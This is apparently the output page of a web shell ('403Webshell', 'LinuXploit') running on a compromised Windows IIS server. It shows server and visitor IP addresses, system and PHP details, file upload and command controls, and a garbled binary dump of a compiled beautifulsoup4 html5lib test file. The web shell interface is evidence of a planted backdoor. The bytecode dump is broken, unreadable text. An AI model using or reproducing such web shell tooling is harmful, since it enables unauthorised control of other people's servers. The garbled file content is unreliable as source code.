403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/bs4/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/bs4/tests/__pycache__/test_html5lib.cpython-312.pyc
�

V	�g�#���dZddlZddlZddlmZddlmZddlmZm	Z	ejjed��Gd	�d
e	��Zy)zDTests to ensure that the html5lib tree builder generates good trees.�N)�
BeautifulSoup)�SoupStrainer�)�HTML5LIB_PRESENT�HTML5TreeBuilderSmokeTestz?html5lib seems not to be present, not testing its tree builder.)�reasonc���eZdZdZed��Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zej,j/ddddgfg�d��Zd�Zy)�TestHTML5LibBuilderz"See ``HTML5TreeBuilderSmokeTest``.c��ddlm}|S)Nr)�HTML5TreeBuilder)�bs4.builderr)�selfrs  �9C:\Python312\Lib\site-packages\bs4/tests/test_html5lib.py�default_builderz#TestHTML5LibBuilder.default_builders��0���c�<�td�}d}tjd��5}t|d|��}ddd�j	�|j|�k(sJ�\}|jtk(sJ�dt|j�vsJ�y#1swY�`xYw)N�bz<p>A <b>bold</b> statement.</p>T��record�html5lib)�
parse_onlyz4the html5lib tree builder doesn't support parse_only)
r�warnings�catch_warningsr�decode�document_for�filename�__file__�str�message)r�strainer�markup�w�soup�warnings      r�test_soupstrainerz%TestHTML5LibBuilder.test_soupstrainers�����$��2��
�
$�
$�D�
1�	J�Q� ����I�D�	J��{�{�}�� 1� 1�&� 9�9�9�9��	�����8�+�+�+�E���O�O�J
�
�	
�
�
	J�	J�s�B�Bc�N�d}|j|d�|jd�y)z8html5lib inserts <tbody> tags where other parsers don't.z[<table id="1"><tr><td>Here's another table:<table id="2"><tr><td>foo</td></tr></table></td>z�<table id="1"><tbody><tr><td>Here's another table:<table id="2"><tbody><tr><td>foo</td></tr></tbody></table></td></tr></tbody></table>z{<table><thead><tr><td>Foo</td></tr></thead><tbody><tr><td>Bar</td></tr></tbody><tfoot><tr><td>Baz</td></tr></tfoot></table>N)�assert_soup)rr!s  r�test_correctly_nested_tablesz0TestHTML5LibBuilder.test_correctly_nested_tables)s9��
�	�	
����
)�	
�	
���
;�	
rc�h�d}|j|�}d|jj�k(sJ�y)Nzy<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html>
<html>
  <head>
  </head>
  <body>
   <p>foo</p>
  </body>
</html>s
<p>foo</p>)r#�p�encode�rr!r#s   r�(test_xml_declaration_followed_by_doctypez<TestHTML5LibBuilder.test_xml_declaration_followed_by_doctypeAs1�����y�y�� ������
�
��/�/�/rc��d}|j|�}d|jj�k(sJ�dt|j	d��k(sJ�y)Nz%<p><em>foo</p>
<p>bar<a></a></em></p>zD<body><p><em>foo</em></p><em>
</em><p><em>bar<a></a></em></p></body>�r*�r#�bodyr�len�find_allr,s   r�test_reparented_markupz*TestHTML5LibBuilder.test_reparented_markupOsU��9���y�y�� ��S��y�y���!�
"�	
�
"��C��
�
�c�*�+�+�+�+rc��d}|j|�}d|jj�k(sJ�dt|j	d��k(sJ�y)Nz&<p><em>foo</p>
<p>bar<a></a></em></p>
zE<body><p><em>foo</em></p><em>
</em><p><em>bar<a></a></em></p>
</body>r/r*r0r,s   r�+test_reparented_markup_ends_with_whitespacez?TestHTML5LibBuilder.test_reparented_markup_ends_with_whitespaceXsU��;���y�y�� ��U��y�y���!�
"�	
�
"��C��
�
�c�*�+�+�+�+rc��d}|j|�}|jd��\}}|jd�\}}|j|usJ�|j|usJ�y)z�Verify that we keep the two whitespace nodes in this
        document distinct when reparenting the adjacent <tbody> tags.
        z,<table> <tbody><tbody><ims></tbody> </table>� ��string�tbodyN)r#r3�next_element)rr!r#�space1�space2�tbody1�tbody2s       r�<test_reparented_markup_containing_identical_whitespace_nodeszPTestHTML5LibBuilder.test_reparented_markup_containing_identical_whitespace_nodesasf��@���y�y�� �����c��2�������w�/�����"�"�f�,�,�,��"�"�f�,�,�,rc��d}|j|�}|j}d|jk(sJ�|jd��}|j	d��d}||jk(sJ�||j
k(sJ�y)NzF<div><a>aftermath<p><noscript>target</noscript>aftermath</a></p></div>�targetr9�	aftermath���)r#�noscriptr<�findr3�previous_element)rr!r#rFrC�final_aftermaths      r�*test_reparented_markup_containing_childrenz>TestHTML5LibBuilder.test_reparented_markup_containing_childrenls���T�	��y�y�� ���=�=���8�0�0�0�0�0����(��+���-�-�{�-�;�B�?��
�&�"5�"5�5�5�5���9�9�9�9�9rc�b�d}|j|�}t|�jd�sJ�y)z(Processing instructions become comments.s<?PITarget PIContent?>z<!--?PITarget PIContent?-->N)r#r�
startswithr,s   r�test_processing_instructionz/TestHTML5LibBuilder.test_processing_instruction~s.��.���y�y�� ���4�y�#�#�$A�B�B�Brc�l�d}|j|�}|jd�\}}||k(sJ�||usJ�y)Ns<a class="my_class"><p></a>�a)r#r3)rr!r#�a1�a2s     r�test_cloned_multivalue_nodez/TestHTML5LibBuilder.test_cloned_multivalue_node�s>��3���y�y�� �����s�#���B��R�x��x���|��|rc�h�d}|j|�}d|jj�k(sJ�y)Ns<table><td></tbody>Az><body>A<table><tbody><tr><td></td></tr></tbody></table></body>)r#r1rr,s   r�test_foster_parentingz)TestHTML5LibBuilder.test_foster_parenting�s7��,���y�y�� ��L��y�y���!�
"�	
�
"rc��d}|j|�}|d�D�cgc]}|j���c}|d�D�cgc]}|j���c}t|jd��dk(sJ�ycc}wcc}w)z�
        Test that extraction does not destroy the tree.

        https://bugs.launchpad.net/beautifulsoup/+bug/1782928
        zW
<html><head></head>
<style>
</style><script></script><body><p>hello</p></body></html>
�script�styler*rN)r#�extractr2r3)rr!r#�ss    r�test_extractionz#TestHTML5LibBuilder.test_extraction�sm����
�y�y�� ��"�8�n�-������-�"�7�m�,������,��4�=�=��%�&�!�+�+�+��	.��,s�A<�Bc��d}|j|�}g}|jd�D]"}|j|jd���$t|�dk(sJ�y)z�
        Test that empty comment does not break structure.

        https://bugs.launchpad.net/beautifulsoup/+bug/1806598
        zI
<html>
<body>
<form>
<!----><input type="text">
</form>
</body>
</html>
�form�inputrN)r#r3�extendr2)rr!r#�inputsr\s     r�test_empty_commentz&TestHTML5LibBuilder.test_empty_comment�s]�����y�y�� �����M�M�&�)�	2�D��M�M�$�-�-��0�1�	2��6�{�a���rc�x�d}|j|�}d|jjk(sJ�d|jjk(sJ�d|jj	d�j
k(sJ�|j|d��}d|jjusJ�d|jjusJ�y)Nz=
   <p>

<sourceline>
<b>text</b></sourceline><sourcepos></p>r/��
sourcelineF)�store_line_numbers)r#r*rc�	sourceposrG�namer,s   r�test_tracking_line_numbersz.TestHTML5LibBuilder.test_tracking_line_numbers�s���U���y�y�� ���D�F�F�%�%�%�%�%��D�F�F�$�$�$�$�$��t�v�v�{�{�<�8�=�=�=�=�=��y�y��E�y�:���t�v�v�(�(�(�(�(��t�v�v�'�'�'�'�'rc��y�N��rs r�test_special_string_containersz2TestHTML5LibBuilder.test_special_string_containers�s��	
rc���dD]o\}}}d|z}|j|�j}|j�}d|jd�z}||k(sJ�|jd��}d|z}||k(r�oJ�y)N))z&RightArrowLeftArrow;u⇄s&rlarr;)z&models;u⊧s&models;)z&Nfr;u𝔑s&Nfr;)z&ngeqq;u≧̸s&ngeqq;)z&not;�¬s&not;)z&Not;u⫬s&Not;)z&quot;�"�")z&there4;�∴�&there4;)z&Therefore;rqrr)z&therefore;rqrr)z&fjlig;�fjsfj)z&sqcup;u⊔s&sqcup;)z&sqcups;u⊔︀s&sqcups;)z&apos;�'�')z&verbar;�|�|z
<div>%s</div>s
<div>%s</div>�utf8�html)�	formatter)r#�divr+)	r�
input_element�output_unicode�output_elementr!r{�without_element�expect�with_elements	         r�test_html5_attributesz)TestHTML5LibBuilder.test_html5_attributes�s���>
�	*�9�M�>�>�"%�}�4�F��)�)�F�#�'�'�C�!�j�j�l�O�%��(=�(=�f�(E�E�F�"�f�,�,�,��:�:��:�7�L�%��6�F��6�)�)�)�3	*rz
name,value)�document_declared_encodingrx�exclude_encodingsrxc��|j�}||i}tjd��5}t|jdi|���ddd�\}t|j�}|d|�d|�d�k(sJ�y#1swY�1xYw)NTrzYou provided a value for z0, but the html5lib tree builder doesn't support �.)rO)rrr�list�prepare_markuprr)rrf�value�builder�kwargsr"r$�msgs        r�test_prepare_markup_warningsz0TestHTML5LibBuilder.test_prepare_markup_warnings�s����&�&�(������
�
$�
$�D�
1�	8�Q��'��'�'�6�v�6�7�	8��	���'�/�/�"���*�4�&�0`�ae�`f�fg�h�
i�	
�
i�	8�	8�s�A7�7Bc��yrirjrks r�test_doctype_filteredz)TestHTML5LibBuilder.test_doctype_filtereds��	
rN)�__name__�
__module__�__qualname__�__doc__�propertyrr%r(r-r4r6rArJrMrRrTrZr`rgrlr��pytest�mark�parametrizer�r�rjrrr
r
s���
-�
� �� �

�
�00�,�,�	-�:�$C��
�,�$ �,(�
�"*�H�[�[����	/�2E��x�1P�Q��
�	�
�
rr
)
r�r�r�bs4r�
bs4.filterr�rrr��skipifr
rjrr�<module>r�sU��J�
���#���������L���v
�3�v
�	�v
r

Youez - 2016 - github.com/yon3zu
LinuXploit